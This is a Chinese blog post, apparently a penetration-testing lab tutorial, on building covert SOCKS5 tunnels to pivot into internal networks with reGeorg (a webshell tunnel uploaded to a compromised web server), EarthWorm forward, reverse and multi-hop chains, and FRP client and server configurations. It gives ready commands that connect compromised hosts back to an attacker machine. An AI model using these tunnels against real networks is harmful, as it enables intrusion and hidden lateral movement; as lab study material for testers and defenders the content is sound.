暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

隐藏通信隧道 -- Sock5

壳中之魂 2021-12-01
674


点击上方蓝字关注我


SOCKS是一种代理服务,可以简单地将一端的系统连接另一 端。SOCKS支持多种协议,包括HTTP、FTP等。SOCKS分为SOCKS 4和SOCKS 5两种类型:SOCKS 4只支持TCP协议;SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口为1080.SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。
SOCKS代理其实可理解为增强版的lcx。它在服务端监听一个服务 端口,当有新的连接请求出现时,会先从SOCKS协议中解析出目标的URL的目标端口,再执行lcx的具体功能。SOCKS代理工具有很多,在使用时要尽可能选择没有GUI界面的。此外,要尽量选择不需要安装其他依赖软件的SOCKS代理工具,能够支持多平台的工具更佳。

Proxifier
Proxifier 也是一款非常好用的全局代理软件
下载地址:https://www.proxifier.com/
Proxifer提供了跨平台的端口转发和代理功能,适用于Windows、Linux、MacOS平台SocksCap64可以使Windows应用程序通过sOCKS代理服务器来访问网络,而不需要对这些应用程序进行任何修改。即使是那些本身不支持SOCKS代理的应用程序,也可以通过SocksCap64实现代理

ProxyChains
ProxyChains是款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器
下载地址:http://proxychains.sourceforge.net/


reGeorg
下载地址:sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn. (github.com)
reGcorg是reDuh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机,形成一个回路。
reGorg可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGcorg利用WebShell建立一个SOCKS代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种。
reGeorg分为reGeorgSocksProxy.py本体和隧道tunnel.php,其中本体用在攻击机,而隧道用在目标机器

攻击测试
环境:
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘设备:
win7(ip1:192.168.200.33,ip2:10.10.10.17)
内网主机:
windows server 2016(DC)(ip:10.10.10.10)

在边缘设备用phpstudy架设了服务器,并且已经将tunnel.php上传到网站根目录,此时,使用kali访问tunnel.php,查看是否可行
注意:tunnel.php似乎只支持低版本php,高版本似乎无法运行
 php版本:7.3.4
php版本:5.2.17

当出现Georg says, 'All seems fine'说明成功配置
在kali配置本体reGeorgSocksProxy.py(似乎需要urllib3,可能是我已经装了,并没有报错)
python reGeorgSocksProxy.py -l 0.0.0.0 -p 1111 -u http://192.168.200.33/tunnel.php

  • -l:需要监听的ip
  • -p:需要监听的端口
  • -u:包含着tunnel脚本的网址




出现红框内的Georg says, 'All seems fine'说明配置成功
如果允许脚本时出现权限不够则要在属性内配置可执行权限(chmod +x也行)

然后再win7攻击机尝试连接代理,我使用的是Proxifier,它在测试连接可用性的时候会访问百度,我们再kali可以查看到访问页面的结果

 也可以直接在kali上使用proxychains远程连接win7的桌面

proxychains rdesktop -g 1440x900 10.10.10.17:3389 //-g后面代表要使用的分辨率
但是我这里两种方法连接远程桌面都失败了,但是代理中一直有流量流过,所以理论上是可行的


EarthWorm(资源已经很难找到,开发者停止更新并且关闭下载)
EarthWom(EW)是套便携式的网络工具, 具有SOCKS 5服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透
下载地址:https://github.com/rootkiter/EarthWorm
EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统(Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。
EW的新版本Termite
下载地址:https://github.com/rootkiter/Termite

命令
EW的使用也非常简单,共有六种命令格式,分别是ssocksd、rcsocks、rssocks、Icx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。

-l 本地要监听的端口
-f 要主动连接的ip
-g 要主动连接的端口
-d 要反弹到的ip
-e 要反弹到的端口
-s 工作模式


工作模式支持如下:
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去
rssocks 创建反向socks代理服务端?
rcsocks 反向socks代理客户端?


环境
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘主机:
windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)
内网主机:
windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)
windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)
windows 10(内网ip:10.10.30.110)
假设所有主机都已经拿到控制权

正向连接
在目标机器假设一个socks5通道

ew_for_Win.exe -s ssocksd -l 6666


在攻击机上测试代理
成功
成功远程连接到2008的内网ip
反向连接
在攻击机kali设置监听,将6000端口收到的代理请求转发到7000

./ew_for_linux64 -s rcsocks -l 6000 -e 7000


然后让目标机器连接到kali

ew_for_Win.exe -s rssocks -d 192.168.200.4 -e 7000


使用攻击机win7进行测试
尝试远程连接2008的内网ip
成功

多级网络
1、从外网访问一级内网
首先在kali假设服务端

./ew_for_linux64 -s rcsocks -l 1111 -e 2222


由于这台机器只是做转发而不是目标,所以既要让处于一级内网的2008连接kali,也要让2008连接到下一台机器
ew_for_Win.exe -s lcx_slave -d 192.168.200.4 -e 2222 -f 10.10.10.12 -g 3333


2、从一级内网访问二级内网
让处于二级内网的2012访问2008,由于刚才2008的命令已经包含了连接到2012的功能,所以2012只需要做端口转发即可

ew_for_Win.exe -s lcx_listen -l 3333 -e 4444


3、从二级内网访问三级内网
当2012做端口转发后,就可以使用windows 7连接2012了
ew_for_Win.exe -s rssocks -d 10.10.20.12 -e 4444



然后在攻击机win7上测试是否能远程连接到三级内网
连接10.10.30.110成功

SocksCap64使用方法之使用SocksCap64代理Steam、LOL等游戏的教程_网络通讯_软件教程_脚本之家 (jb51.net)
Ubuntu系统中使用ProxyChains设置网络代理 - 简书 (jianshu.com)(要将proxychains.conf中的dynamic_chain前面的#去掉


FRP
frp 是⼀个开源、简洁易⽤、⾼性能的内⽹穿透和反向代理软件,⽀持 tcp, udp, http, https等协议。
frp 项⽬官⽹:https://github.com/fatedier/frp
frp ⽂档:https://gofrp.org/docs/
frp主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网IP的机器上,客户端通常部署在需要穿透的内网服务所在机器上。内网服务由于没有公网IP,不能被非局域网内的其他用户访问。用户通过访问服务端的frps,由frp负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
frps配置

Frp完整的服务器端配置⽂件(可参考修改)

# [common] 是必需的[common]# ipv6的⽂本地址或主机名必须括在⽅括号中# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"bind_addr = 0.0.0.0bind_port = 7000# udp nat 穿透端⼝bind_udp_port = 7001# ⽤于 kcp 协议 的 udp 端⼝,可以与 "bind_port" 相同# 如果此项不配置, 服务端的 kcp 将不会启⽤kcp_bind_port = 7000# 指定代理将侦听哪个地址,默认值与 bind_addr 相同# proxy_bind_addr = 127.0.0.1# 如果要⽀持虚拟主机,必须设置⽤于侦听的 http 端⼝(⾮必需项)# 提示: http端⼝和https端⼝可以与 bind_port 相同vhost_http_port = 80vhost_https_port = 443# 虚拟 http 服务器的响应头超时时间(秒),默认值为60s# vhost_http_timeout = 60# 设置 dashboard_addr 和 dashboard_port ⽤于查看 frps 仪表盘# dashboard_addr 默认值与 bind_addr 相同# 只有 dashboard_port 被设定,仪表盘才能⽣效dashboard_addr = 0.0.0.0dashboard_port = 7500# 设置仪表盘⽤户密码,⽤于基础认证保护,默认为 admin/admindashboard_user = admindashboard_pwd = admin# 仪表板资产⽬录(仅⽤于 debug 模式下)# assets_dir = ./static# 控制台或真实⽇志⽂件路径,如./frps.loglog_file = ./frps.log# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)log_level = info# 最⼤⽇志记录天数log_max_days = 3# 认证 tokentoken = 12345678# ⼼跳配置, 不建议对默认值进⾏修改# heartbeat_timeout 默认值为 90# heartbeat_timeout = 90    # 允许 frpc(客户端) 绑定的端⼝,不设置的情况下没有限制allow_ports = 2000-3000,3001,3003,4000-50000# 如果超过最⼤值,每个代理中的 pool_count 将更改为 max_pool_countmax_pool_count = 5# 每个客户端可以使⽤最⼤端⼝数,默认值为0,表示没有限制max_ports_per_client = 0# 如果 subdomain_host 不为空, 可以在客户端配置⽂件中设置 ⼦域名类型为 http 还是 https# 当⼦域名为 test 时, ⽤于路由的主机为 test.frps.comsubdomain_host = frps.com# 是否使⽤ tcp 流多路复⽤,默认值为 truetcp_mux = true# 对 http 请求设置⾃定义 404 ⻚⾯# custom_404_page = /path/to/404.html

frpc配置

server_addr = 102.224.185.237 #代理服务器的IP
server_port = 7000 #服务端服务器设置frps.ini中的端口
token = asd #服务端服务器设置frps.ini中的密码
[web] #服务器名(可以填写ssh、ftp等)
type = tcp #连接协议类型
local_ip = 127.0.0.1 #访问的ip可以是内网任何一个ip!
local_port = 80 #本地端口(根据协议修改)
remote_port = 6001 #远程服务器的ip端口

Frp 完整的客户端配置⽂件(可参考修改)

# [common] 是必需的[common]# ipv6的⽂本地址或主机名必须括在⽅括号中# 如"[::1]:80", "[ipv6-host]:http" 或 "[ipv6-host%zone]:80"server_addr = 0.0.0.0server_port = 7000# 如果要通过 http 代理或 socks5 代理连接 frps,可以在此处或全局代理中设置 http_proxy# 只⽀持 tcp协议# http_proxy = http://user:passwd@192.168.1.128:8080# http_proxy = socks5://user:passwd@192.168.1.128:1080# 控制台或真实⽇志⽂件路径,如./frps.loglog_file = ./frpc.log# ⽇志级别,分为trace(跟踪)、 debug(调试)、 info(信息)、 warn(警告)、 error(错误)log_level = info# 最⼤⽇志记录天数log_max_days = 3# 认证 tokentoken = 12345678# 设置能够通过 http api 控制客户端操作的管理地址admin_addr = 127.0.0.1admin_port = 7400admin_user = adminadmin_pwd = admin# 将提前建⽴连接,默认值为 0pool_count = 5# 是否使⽤ tcp 流多路复⽤,默认值为 true,必需与服务端相同tcp_mux = true# 在此处设置⽤户名后,代理名称将设置为 {⽤户名}.{代理名}user = your_name# 决定第⼀次登录失败时是否退出程序,否则继续重新登录到 frps# 默认为 truelogin_fail_exit = true# ⽤于连接到服务器的通信协议# ⽬前⽀持 tcp/kcp/websocket, 默认 tcpprotocol = tcp# 如果 tls_enable 为 true, frpc 将会通过 tls 连接 frpstls_enable = true# 指定 DNS 服务器# dns_server = 8.8.8.8# 代理名, 使⽤ ',' 分隔# 默认为空, 表示全部代理# start = ssh,dns# ⼼跳配置, 不建议对默认值进⾏修改# heartbeat_interval 默认为 10 heartbeat_timeout 默认为 90# heartbeat_interval = 30# heartbeat_timeout = 90# 'ssh' 是⼀个特殊代理名称[ssh]# 协议 tcp | udp | http | https | stcp | xtcp, 默认 tcptype = tcplocal_ip = 127.0.0.1local_port = 22# 是否加密, 默认为 falseuse_encryption = false# 是否压缩use_compression = false# 服务端端⼝remote_port = 6001# frps 将为同⼀组中的代理进⾏负载平衡连接group = test_group# 组应该有相同的组密钥group_key = 123456# 为后端服务开启健康检查, ⽬前⽀持 'tcp' 和 'http'# frpc 将连接本地服务的端⼝以检测其健康状态health_check_type = tcp# 健康检查连接超时health_check_timeout_s = 3# 连续 3 次失败, 代理将会从服务端中被移除health_check_max_failed = 3# 健康检查时间间隔health_check_interval_s = 10[ssh_random]type = tcplocal_ip = 127.0.0.1local_port = 22# 如果 remote_port 为 0 ,frps 将为您分配⼀个随机端⼝remote_port = 0# 如果要暴露多个端⼝, 在区块名称前添加 'range:' 前缀# frpc 将会⽣成多个代理,如 'tcp_port_6010', 'tcp_port_6011'[range:tcp_port]type = tcplocal_ip = 127.0.0.1local_port = 6010-6020,6022,6024-6028remote_port = 6010-6020,6022,6024-6028use_encryption = falseuse_compression = false[dns]type = udplocal_ip = 114.114.114.114local_port = 53remote_port = 6002use_encryption = falseuse_compression = false[range:udp_port]type = udplocal_ip = 127.0.0.1local_port = 6010-6020remote_port = 6010-6020use_encryption = falseuse_compression = false# 将域名解析到 [server_addr] 可以使⽤ http://web01.yourdomain.com 访问 web01[web01]type = httplocal_ip = 127.0.0.1local_port = 80use_encryption = falseuse_compression = true# http 协议认证http_user = adminhttp_pwd = admin# 如果服务端域名为 frps.com, 可以通过 http://test.frps.com 来访问 [web01]subdomain = web01custom_domains = web02.yourdomain.com# locations 仅可⽤于HTTP类型locations = /,/pichost_header_rewrite = example.com# params with prefix "header_" will be used to update http request headersheader_X-From-Where = frphealth_check_type = http# frpc 将会发送⼀个 GET http 请求 '/status' 来定位http服务# http 服务返回 2xx 状态码时即为存活health_check_url = /statushealth_check_interval_s = 10health_check_max_failed = 3health_check_timeout_s = 3[web02]type = httpslocal_ip = 127.0.0.1local_port = 8000use_encryption = falseuse_compression = falsesubdomain = web01custom_domains = web02.yourdomain.com# v1 或 v2 或 空proxy_protocol_version = v2[plugin_unix_domain_socket]type = tcpremote_port = 6003plugin = unix_domain_socketplugin_unix_path = /var/run/docker.sock[plugin_http_proxy]type = tcpremote_port = 6004plugin = http_proxyplugin_http_user = abcplugin_http_passwd = abc[plugin_socks5]type = tcpremote_port = 6005plugin = socks5plugin_user = abcplugin_passwd = abc[plugin_static_file]type = tcpremote_port = 6006plugin = static_fileplugin_local_path = /var/www/blogplugin_strip_prefix = staticplugin_http_user = abcplugin_http_passwd = abc[plugin_https2http]type = httpscustom_domains = test.yourdomain.complugin = https2httpplugin_local_addr = 127.0.0.1:80plugin_crt_path = ./server.crtplugin_key_path = ./server.keyplugin_host_header_rewrite = 127.0.0.1[secret_tcp]# 如果类型为 secret tcp, remote_port 将失效type = stcp# sk ⽤来进⾏访客认证sk = abcdefglocal_ip = 127.0.0.1local_port = 22use_encryption = falseuse_compression = false# 访客端及服务端的⽤户名应该相同[secret_tcp_visitor]# frpc role visitor -> frps -> frpc role serverrole = visitortype = stcp# 要访问的服务器名称server_name = secret_tcpsk = abcdefg# 将此地址连接到访客 stcp 服务器bind_addr = 127.0.0.1bind_port = 9000use_encryption = falseuse_compression = false[p2p_tcp]type = xtcpsk = abcdefglocal_ip = 127.0.0.1local_port = 22use_encryption = falseuse_compression = false[p2p_tcp_visitor]role = visitortype = xtcpserver_name = p2p_tcpsk = abcdefgbind_addr = 127.0.0.1bind_port = 9001use_encryption = falseuse_compression = false



Frp反向连接内
使用frp要编辑配置文件,以内网主机为服务端,kali为客户端,反向链接
首先按先配置服务端
[common]
bind_port = 7000
配置完成后启动

./frps -c frps.ini


同理,要配置在kali上的客户端

[common]
server_addr = 192.168.137.174 //frps的ip
server_port = 7000 //对应的端口


[plugin_socks5] //这个是额外加的,用于创建一个socks5的通道,可以给其他主机连接
type = tcp
remote_port = 6000
plugin = socks5

如果攻击机填写了token,那么在客户端也要填写token

frpc.exe -c frpc.ini

显示如下内容则说明建立成功
如果连接失败则显示如下内容
再回头看服务端
可以看到同时开了一个Sock5通道,使用其他攻击机进行连接
我使用Proxifier来进行连接,Proxifier资源在网上很好找,我就不放下载链接了

然后点击检查,查看是否连接成功
不过这种检查是通过和和百度测试连通性,在内网内不一定可以成功,这时就要针对性的调整设置


多级网络代理
攻击机:
kali(ip:192.168.200.4)
win7(ip:192.168.200.17)
边缘主机:
windows server 2008(外网ip:192.168.200.32,内网ip:10.10.10.18)
内网主机:
windows server 2012(内网ip1:10.10.10.12,内网ip2:10.10.20.12)
windows 7(内网ip1:10.10.20.17,内网ip2:10.10.30.17)
windows 10(内网ip:10.10.30.110)
假设所有主机都已经拿到控制权

1、代理边缘主机到一级内网
首先在kali攻击机架设frps
bind_addr = 192.168.200.4
bind_port = 7000


然后让边缘主机2008连接
frpc

[common]
server_addr = 192.168.200.4
server_port = 7000


[plugin_socks]
type = tcp
local_ip = 10.10.10.18
local_port = 6000
remote_port = 6000


frps
2、代理一级到二级内网
当2008连接到kali后,自己也架设一个服务端
frps

[common]
bind_addr = 10.10.10.18
bind_port = 7000


然后让2012连接2008
frpc

[common]
server_addr = 10.10.10.18
server_port = 7000


[plugin_socks]
type = tcp
local_ip = 10.10.20.12
local_port = 6000
remote_port = 6000


frps
3、代理二级到三级内网
当2012连接2008后,2012也假设一个服务端

[common]
bind_addr = 10.10.20.12
bind_port = 7000


让windows 7连接
frpc

[common]
server_addr = 10.10.20.12
server_port = 7000


[plugin_socks]
type = tcp
local_ip = 10.10.30.17
local_port = 6000
remote_port = 6000
plugin = socks5

注意这里windows 7的frpc配置和其他不一样的点,这里多了一条
plugin = socks5
这一条很关键,后面我会说为什么
frps

最后测试是否到达了三级内网,使用win7攻击机的Proxifier测试远程连接
首先测试位于三级内网的win10
测试成功
测试同样位于三层内网的windows 7(10.10.30.17)同样成功
测试位于二层内网的windows 7(10.10.20.17、window server 2012(10.10.20.12)
同样成功
问题来了,测试10.10.10.x是失败的,经过我的多次实验,发现问题出在我上文所说的

plugin = socks5

我们在windows 7的frpc配置文件使用了这个属性,而他的ip为10.10.20.x和10.10.30.x,所以这个代理是无法直接远程连接到10.10.10.x的,如过在2008或者是2012使用了这个属性,就会导致无法连接10.10.30.x
说人话就为plugin = socks5这个属性只能同时存在一个,如果存在多个就以最先代理的为准
壁纸地址:https://pic.imgdb.cn/item/619c55ca2ab3f51d91e4905a.jpg

点个在看是对我最好的支持




文章转载自壳中之魂,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论